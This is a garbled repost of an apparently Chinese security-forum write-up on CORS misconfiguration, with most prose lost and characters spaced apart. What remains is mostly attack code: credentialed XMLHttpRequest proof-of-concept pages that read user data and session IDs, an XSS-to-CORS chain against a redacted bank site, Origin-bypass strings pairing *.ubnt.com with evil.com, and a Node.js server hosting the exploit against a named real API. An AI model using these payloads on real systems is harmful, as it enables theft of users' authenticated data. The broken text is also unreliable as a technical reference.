[18872] 2019-06-17_CORS漏洞总结

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2019-06-17_CORS漏洞总结 C O R S c r h u a   h u a s e c   2 0 1 9 - 0 6 - 1 7 0 1 A c c e s s - C o n t r o l - A l l o w - O r i g i n A c c e s s - C o n t r o l - A l l o w - O r i g i n     A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s   t r u e 0 2 b u r p p r o x y   - >   o p t i o n s         h u a s e c . c o m   A c c e s s - C o n t r o l - A l l o w - O r i g i n   P O C : o r i g i n : h t t p : / / w w w . h u a s e c . c o m A c c e s s - C o n t r o l - A l l o w - O r i g i n : h u a s e c . c o m c u r l   h t t p s : / / w w w . h u a s e c . c o m   - H   " O r i g i n :   h t t p s : / / e v i l . c o m "   - I h t t p s : / / e v i l . c o m
0 3 1 . w e b a p i 2 . a p i 3 . a p p a p i 4 . b u r p j s o n 0 4 C O R S * C O R S 访 使 * C O R S 访 A c c e s s - C o n t r o l - A l l o w - O r i g i n * 访 U s e r   I D E m a i l   I D O r i g i n O r i g i n 访 v i c t i m 使 t e s t i n g . a a a . c o m < ! D O C T Y P E   h t m l > < h t m l > < b o d y > < c e n t e r > < h 2 > C O R S   P O C   E x p l o i t < / h 2 > < h 3 > E x t r a c t   S I D < / h 3 > < d i v   i d = " d e m o " > < b u t t o n   t y p e = " b u t t o n "   o n c l i c k = " c o r s ( ) " > E x p l o i t < / b u t t o n > < / d i v > < s c r i p t > f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {         i f   ( t h i s . r e a d y S t a t e   = =   4   & &   t h i s . s t a t u s   = =   2 0 0 )   {             d o c u m e n t . g e t E l e m e n t B y I d ( " d e m o " ) . i n n e r H T M L   =   a l e r t ( t h i s . r e s p o n s e T e x t ) ;         }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / t a r g e t . c o m / u s e r i n f o / " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } < / s c r i p t > < / b o d y > < / h t m l > G E T   / a p i / u s e r i n f o . p h p H o s t :   w w w . h u a s e c . c o m O r i g i n :   w w w . h u a s e c . c o m H T T P / 1 . 0   2 0 0   O K A c c e s s - C o n t r o l - A l l o w - O r i g i n :   * A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e A c c e s s - C o n t r o l - A l l o w - O r i g i n :   *
使 h t t p s : / / t e s t i n g . a a a . c o m 便 h t t p s : / / t e s t i n g . a a a . c o m 使 C O R S O r i g i n U R L r e q u e s t e r . c o m p r o v i d e r . c o m r e q u e s t e r . c o m a t t a c k e r r e q u e s t e r . c o m O r i g i n a t t a c k e r r e q u e s t e r . c o m A c c e s s - c o n t r o l - A l l o w - O r i g i n O r i g i n r e q u e s t e r . c o m 访 p r o v i d e r . c o m 便 X S S C O R S G E T   / a p i / u s e r i n f o . p h p H o s t :   p r o v i d e r . c o m O r i g i n :   r e q u e s t e r . c o m H T T P / 1 . 0   2 0 0   O K A c c e s s - C o n t r o l - A l l o w - O r i g i n :   r e q u e s t e r . c o m A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e G E T   / a p i / u s e r i n f o . p h p H o s t :   e x a m p l e . c o m C o n n e c t i o n :   c l o s e O r i g i n :   a t t a c k e r r e q u e s t e r . c o m H T T P / 1 . 0   2 0 0   O K A c c e s s - C o n t r o l - A l l o w - O r i g i n :   a t t a c k e r r e q u e s t e r . c o m A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e
H T T P   H T T P   A P I X S S X S S b a n q u e s . r e d a c t e d . c o m X S S 使 p a y l o a d C O R S 使 p a y l o a d   a l e r t ( d o c u m e n t . d o m a i n ) P O C s a f a r i c o r s h t t p s : / / c l i e n t . a m p l i f i . c o m / a p i / u s e r /   C O R S X S S U R L G E T   / a p i / r e t u r n   H T T P / 1 . 1 H o s t :   w w w . r e d a c t e d . c o m O r i g i n :   e v i l . r e d a c t e d . c o m C o n n e c t i o n :   c l o s e H T T P / 1 . 1   2 0 0   O K A c c e s s - c o n t r o l - a l l o w - c r e d e n t i a l s :   t r u e A c c e s s - c o n t r o l - a l l o w - o r i g i n :   e v i l . r e d a c t e d . c o m h t t p s : / / b a n q u e s . r e d a c t e d . c o m / c h o i c e - q u i z ? f o r m _ b a n q u e = " > < s c r i p t > a l e r t ( d o c u m e n t . d o m a i n ) < / s c r i p t > & f o r m _ c a r t e s = 7 3 & i f r a m e s t a t = 1 f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                 i f   ( t h i s . s t a t u s   = =   2 0 0 )   {                 a l e r t ( t h i s . r e s p o n s e T e x t ) ;                   d o c u m e n t . g e t E l e m e n t B y I d ( " d e m o " ) . i n n e r H T M L   =   t h i s . r e s p o n s e T e x t ;                 }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / w w w . r e d a c t e d . c o m / a p i / r e t u r n " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } c o r s ( ) ; h t t p s : / / b a n q u e s . r e d a c t e d . c o m / c h o i c e - q u i z ? f o r m _ b a n q u e = " > < s c r i p t > f u n c t i o n % 2 0 c o r s ( ) { v a r % 2 0 x h t t p = n e w % 2 0 X M L H t t p R e q u e s t ( ) ; x h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( t h i s . s t a t u s = = 2 0 0 )   a l e r t ( t h i s . r e s p o n s e T e x t ) ; d o c u m e n t . g e t E l e m e n t B y I d ( " h t t p : / / a s d f ` + = . w i t h g o o g l e . c o m
C h r o m e F i r e f o x S a f a r i S a f a r i 使 W e b , & ' " ; ! $ ^ * ( ) + = ` ~ - _ = | { } % / / % 0 1 - 0 8 , % 0 b , % 0 c , % 0 e , % 0 f , % 1 0 - % 1 f , % 7 f O r i g i n   * . u b n t . c o m ! . e v i l . c o m
! S a f a r i U R L 使 D N S e v i l . c o m * . e v i l . c o m   w w w . e v i l . c o m w w w . e v i l . c o m / c o r s - p o c 1 . D N S 使 G o D a d d y 2 . N o d e J S s e r v e . j s * . u b n t . c o m ! . e v i l . c o m   * . u b n t . c o m " . e v i l . c o m   * . u b n t . c o m $ . e v i l . c o m   * . u b n t . c o m % 0 b . e v i l . c o m   * . u b n t . c o m % 6 0 . e v i l . c o m   * . u b n t . c o m & . e v i l . c o m   * . u b n t . c o m ' . e v i l . c o m   * . u b n t . c o m ( . e v i l . c o m   * . u b n t . c o m ) . e v i l . c o m   * . u b n t . c o m * . e v i l . c o m   * . u b n t . c o m , . e v i l . c o m   * . u b n t . c o m ; . e v i l . c o m   * . u b n t . c o m = . e v i l . c o m   * . u b n t . c o m ^ . e v i l . c o m   * . u b n t . c o m ` . e v i l . c o m   * . u b n t . c o m { . e v i l . c o m   * . u b n t . c o m | . e v i l . c o m   * . u b n t . c o m } . e v i l . c o m   * . u b n t . c o m ~ . e v i l . c o m h t t p s : / / z z z z . u b n t . c o m = . e v i l . c o m h t t p s : / / z z z z . u b n t . c o m = . e v i l . c o m / c o r s - p o c v a r   h t t p   =   r e q u i r e ( ' h t t p ' ) ; v a r   u r l     =   r e q u i r e ( ' u r l ' ) ; v a r   f s       =   r e q u i r e ( ' f s ' ) ; v a r   p o r t   =   8 0 h t t p . c r e a t e S e r v e r ( f u n c t i o n ( r e q ,   r e s )   {         i f   ( r e q . u r l   = =   ' / c o r s - p o c ' )   {                 f s . r e a d F i l e ( ' c o r s . h t m l ' ,   f u n c t i o n ( e r r ,   d a t a )   {                         r e s . w r i t e H e a d ( 2 0 0 ,   { ' C o n t e n t - T y p e ' : ' t e x t / h t m l ' } ) ;                         r e s . w r i t e ( d a t a ) ;                         r e s . e n d ( ) ;
3 . c o r s . h t m l 4 . N o d e J S 5 .     h t t p s : / / p r o t e c t . u b n t . c o m / a p i h t t p s : / / c l i e n t . a m p l i f i . c o m / a p i / u s e r / 6 . S a f a r i h t t p s : / / z z z z . u b n t . c o m = . e v i l . c o m / c o r s - p o c h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 2 0 4 0 2 3 . h t m l 0 5 h t t p s : / / g i t h u b . c o m / c r h u a / C O R S c a n n e r s r c , 使                 } ) ;         }   e l s e   {                 r e s . w r i t e H e a d ( 2 0 0 ,   { ' C o n t e n t - T y p e ' : ' t e x t / h t m l ' } ) ;                 r e s . w r i t e ( ' n e v e r   g o n n a   g i v e   y o u   u p . . . ' ) ;                 r e s . e n d ( ) ;         } } ) . l i s t e n ( p o r t ,   ' 0 . 0 . 0 . 0 ' ) ; c o n s o l e . l o g ( ` S e r v i n g   o n   p o r t   $ { p o r t } ` ) ; < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > C O R S < / t i t l e > < / h e a d > < b o d y   o n l o a d = " c o r s ( ) ; " > < c e n t e r > c o r s   p r o o f - o f - c o n c e p t : < b r > < b r > < t e x t a r e a   r o w s = " 1 0 "   c o l s = " 6 0 "   i d = " p w n z " > < / t e x t a r e a > < b r > < / d i v > < s c r i p t > f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {         i f   ( t h i s . r e a d y S t a t e   = =   4   & &   t h i s . s t a t u s   = =   2 0 0 )   {             d o c u m e n t . g e t E l e m e n t B y I d ( " p w n z " ) . i n n e r H T M L   =   t h i s . r e s p o n s e T e x t ;         }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / c l i e n t . a m p l i f i . c o m / a p i / u s e r / " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } < / s c r i p t > n o d e   s e r v e . j s   &

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则